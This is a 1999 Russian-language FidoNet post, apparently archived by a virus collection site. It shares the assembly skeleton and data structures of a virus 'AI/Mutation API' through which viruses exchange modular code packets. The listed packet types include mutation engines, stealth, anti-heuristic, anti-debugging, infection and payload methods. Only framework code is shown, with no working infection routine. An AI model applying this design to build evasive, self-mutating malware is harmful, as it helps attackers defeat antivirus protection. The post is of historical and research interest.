Msg : Prev 3979 / 4681 Next
1999-08-21 10:37:08

To  : All

Subj:

В свете последних событий 1


Привет All! 

Посмотрел я чем тут народ балуется и подумал, может 
помогут кому наши с DarkMan'ом наработки 3 летней давности. 

part1: 


=== Cut === 


kernel, котоpый вызывает chap'ы для работы 
тоже суть морфная и может быть до десятка и более 
разных всевозможных kernel'ов ( за счет чего 
обеспечивается adoptive mutation or mutative action, 
то есть мутация действий) 

=== Cut === 


=== Cut === 
; Artifical Inteligence/Mutation API 

; kernel 

.model tiny 
.code 
org 100h 
start: 
jmp init 

;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 

ChaP struc 

Quality db ? ; percentage of quality 
AdrBlock dw ? ; Адрес исполняемых инструкций (смещение от начала) 
after equ 8 
LenLett dw ? ; Длина письма (с заголовком) 
OsType db ? ; Тип операционки 
DOS equ 1 
DPMI equ 2 
Win16 equ 3 
Win32s equ 4 
Win32 equ 5 
Os2 equ 6 
Unix equ 7 
CPU_ID_min db ? ; минимально возможный для использования CPU 
_8086 equ 0 
_586 equ 1 
; !!!! ?????? выдерем откуда нить) 
CPU_ID_max db ? ; максимально возможный для использования CPU 
; (конвеер на Pentium не работает) 

Chap ends 

;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 

Chap1: 
ExChap Chap <len_chap1,after,dos,_8086,_586,0 > 
mov ax,77h 
ret 
len_chap1 equ $-chap1 

type1: 
dw offset Chap1 
dw 0 

addr_types: 
no_type dw 1 
dw offset type1 
db 0 

P_Main dw offset addr_types 

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
Call_Chap: ; bl - No_Type 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 

push si di 
xor bh,bh ; real percentage = 0 
lea si,P_Main 
lodsw ;ax = addr_types 
mov si,ax 

next_type: 
lodsb 
or al,al 
jz no_find_type ; если дошли до последнего нуля - то извини 
cmp al,bl ; Our Type ? 
lodsw 
jnz next_type 
mov si,ax ; начало offset'ов ChaP'ов этого типа 

next_ind: 
lodsw ; adress of next chap 
or ax,ax 
jz end_chaps 
push si 
mov si,ax 
lodsb ; percentage 
cmp al,bh 
jbe non_int 
xchg al,bh 
mov bp,si ; save address of chap 
non_int: 
pop si 
jmp next_ind 
end_chaps: 
or bh,bh 
jz not_found_ind 
mov si,bp 

;----------------------------------------------------------------- 
ind_found: ; ChaP с нужным типом и индексом найден 
lodsw ; AdrBlock 
add si,ax 
sub si,3 ; (adrblock+percentage) 
call si 
pop di si 
clc 
ret ; финал 

;------------------------ Возврат ошибок ----------------------- 
no_find_type: 
pop di si 
mov ax,1 
stc 
ret 

not_found_ind: 
pop di si 
mov ax,2 
stc 
ret 

;----------------------------------------------------------------- 

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 


init: 
mov bx,1 ; type 

call call_ChaP 
jc er 
call out_word 
ret 

er: 
mov al,7 
int 29h 
ret 

include hex.inc 

end start 


=== Cut === 


=== Cut === 
;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 

ChaP struc 

; Структура Заголовка 

; Общая информация 

LenZagl dw ? ; Длина заголовка [APri] 
LenLett dw ? ; Длина письма (без заголовка) [APri] 
TypLett dw ? ; Тип письма [APri] 
IndLett dw ? ; Индекс письма (по типу) [APri] 
PoiSpec dd ? ; Указатель на спецификацию типа (или 0 - для интернальных) 
; (от начала заголовка) (Reserved) 
AdrBlock dd ? ; Адрес исполняемых инструкций (смещение от начала письма) 
EncType db ? ; Замутирован ли уже блок ? 0 - нет 1 - да 
OsType dw ? ; Тип операционки 
; DOS - 1 ; DPMI - 2; Win16 - 3; Win32s - 4; 
; Win32 - 5; Os/2 - 6 ; Unix - 7 
CPU_ID_min dw ? ; напрямую 286-286 386-386 и т.д. 
CPU_ID_max dw ? ; максимально возможный для использования CPU 
; (конвеер на Pentium не работает) 
ExlusiveMode dw ? ; Для многозадачных OS - возможность параллельного 
исполнения 
; данного блока (0 - enable, 1 - disable) 

32enabled dw ? ; 0 -16 ; 1 -32 

; Информация тестирования 
DayTest db ? ; Минимальное количество дней, для проверки данного способа 
-+0-2) 
Quality dw ? ; percentage of quality 
DayTested db ? ; Количество дней которые этот блок уже тестировался. 

Chap ends 
;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 

=== Cut === 


=== Cut === 

Artifical Inteligence/Mutation API 

Типы 
Тип N 1 - Ангины 
уровень к приложению 


; Registers of engine 
SegSo dw ? ; Сегмент исходного кода 
OfsSo dw ? ; Смещение исходного кода 
LenSo dw ? ; Длина исходного кода 
SegDe dw ? ; Сегмент закриптованого кода 
OfsDe dw ? ; Смещение закриптованого кода 
LenDe dw ? ; Длина закриптованого кода (расшифровщик+код) 
LenCr dw ? ; Длина расшифровщика 
StaIP dw ? ; StartIP ( where code is started [100h - COM]) 
MType db ? ; 1 - COM ; 2 - EXE ; 3 - MEM 



Artifical Inteligence/Mutation API 

Спецификация заполнения писем с типом 1 
Ангины 
уровень к ангине 

RAX equ 0 
RCX equ 1 
RDX equ 2 
RBX equ 3 
RSP equ 4 
RBP equ 5 
RSI equ 6 
RDI equ 7 


EngPro dd ? ; Адрес ангины [APri] 

ESegSo db ? ; Сегмент исходного кода (через что) 
EOfsSo db ? ; Смещение исходного кода 
ELenSo db ? ; Длина исходного кода 
ESegDe db ? ; Сегмент закриптованого кода 
EOfsDe db ? ; Смещение закриптованого кода 
ELenDe db ? ; Длина закриптованого кода (расшифровщик+код) 
ELenCr db ? ; Длина расшифровщика 
EStaIP db ? ; StartIP ( where code is started [100h - COM]) 
EMType db ? ; 1 - COM ; 2 - EXE ; 3 - MEM 


=== Cut === 


=== Cut === 

addr_types: 
dw offset type1 
dw offset type2 
... 
0 
type1: 
dw offset chap1 
dw offset chap2 
dw offset chap3 
... 
0 
chap1: 
LenLett dw ? ; Длина письма (с заголовком) 
AdrBlock dw ? ; Адрес исполняемых инструкций (смещение от начала) 
OsType db ? ; Тип операционки 
; DOS - 1 ; DPMI - 2; Win16 - 3; Win32s - 4; 
; Win32 - 5; Os/2 - 6 ; Unix - 7 
CPU_ID_min db ? ; 8086 - 0, 
; ?????? выдерем откуда нить) 
CPU_ID_max db ? ; максимально возможный для использования CPU 
; (конвеер на Pentium не работает) 
Quality db ? ; percentage of quality 
asm_code: 
..... 
end of chap 
=== Cut === 
=== Cut === 
Artifical Inteligence/Mutation API 
Внешний уровень API 
обмен вирей ChaP`ами. 
ah = f7h 
int 21h 
ax - 0B7A7h 
bx - version of AIM 
cx - inter (37h) 
int 37h 
ah=1 
dx:bx - Тип 
bp:cx - индекс 
Запросить ChaP с указанным типом и индексом 
dx:bx - адрес процедуры дешифровки ChaP 
; ее вызывать CALL'ом 
; она возвращает в dx:bx - ChaP дешифрованый 
ah=2 
Запросить наявность типов 
dx:bx - указатель на таблицу номеров типов с нулем в конце 
ah=3 
bx - тип 
Запросить наявность индексов для данного типа 
dx:bx - указатель на таблицу индексов для данного типа с нулем в конце 
ah=4 
Конец сессии 
=== Cut === 
=== Cut === 
Artifical Inteligence/Mutation API 
Описание протокола "пакетов обмена" 
ChaP Структура 
; APri - Принцип увеличения 
; Длина письма (если последний бит установлен, то длина 
; увеличивается + еще один dword. Для него - то же правило. 
; Chap - Change packet - "пакет обмена" состоит из: 
; Заголовок письма 
; Письмо 
;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 
; Структура Заголовка 
; Общая информация 
LenZagl dd ? ; Длина заголовка [APri] 
LenLett dd ? ; Длина письма (без заголовка) [APri] 
TypLett dd ? ; Тип письма [APri] 
IndLett dd ? ; Индекс письма (по типу) [APri] 
PoiSpec dw ? ; Указатель на спецификацию типа (или 0 - для интернальных) 
; (от начала заголовка) (Reserved) 
AdrBlock dd ? ; Адрес исполняемых инструкций (смещение от начала письма) 
EncType db ? ; Замутирован ли уже блок ? 0 - нет 1 - да 
OsType dw ? ; Тип операционки 
; DOS - 1 ; DPMI - 2; Win16 - 3; Win32s - 4; 
; Win32 - 5; Os/2 - 6 ; Unix - 7 
CPU_ID_min dw ? ; напрямую 286-286 386-386 и т.д. 
CPU_ID_max dw ? ; максимально возможный для использования CPU 
; (конвеер на Pentium не работает) 
ExlusiveMode dw ? ; Для многозадачных OS - возможность параллельного 
исполнения 
; данного блока (0 - enable, 1 - disable) 
; Информация тестирования 
DayTest db ? ; Минимальное количество дней, для проверки данного способа 
-+0-2) 
Quality dw ? ; percentage of quality 
DayTested db ? ; Количество дней кеторые этот блок уже тестировался. 
;-=-=-=-=-=-=-=-=-==-=-=-==--=-==-=--==-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=--==- 
;Структура писем. 
;Определяется конкретным типом письма. 
=== Cut === 
=== Cut === 
Artifical Inteligence/Mutation API 
Описание типов писем 
; Типы писем 
; 1 - Mutation Engine 
; 2 - AntiTrase 
; 3 - AntiAIDStest (black list) 
; 4 - ActiveProtect 
; 5 - Способы заражения 
; 6 - Методы посадки в память 
; 7 - Методы перехвата прерываний (real mode) 
; 8 - Методы перехвата управления (DPMI) 
; 9 - Проявления (ну злобный я - ...DarkMan...) 
; 10 - Stealth 
; 11 - AntiHeuristic 
=== Cut === 
С бестовыми регардами , Kostya Volkov aka Reminder 
--- 
* Origin: 2B OR (NOT 2B) = FF (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Сообщения можно выбирать стрелками Enter
Пользовательского поиска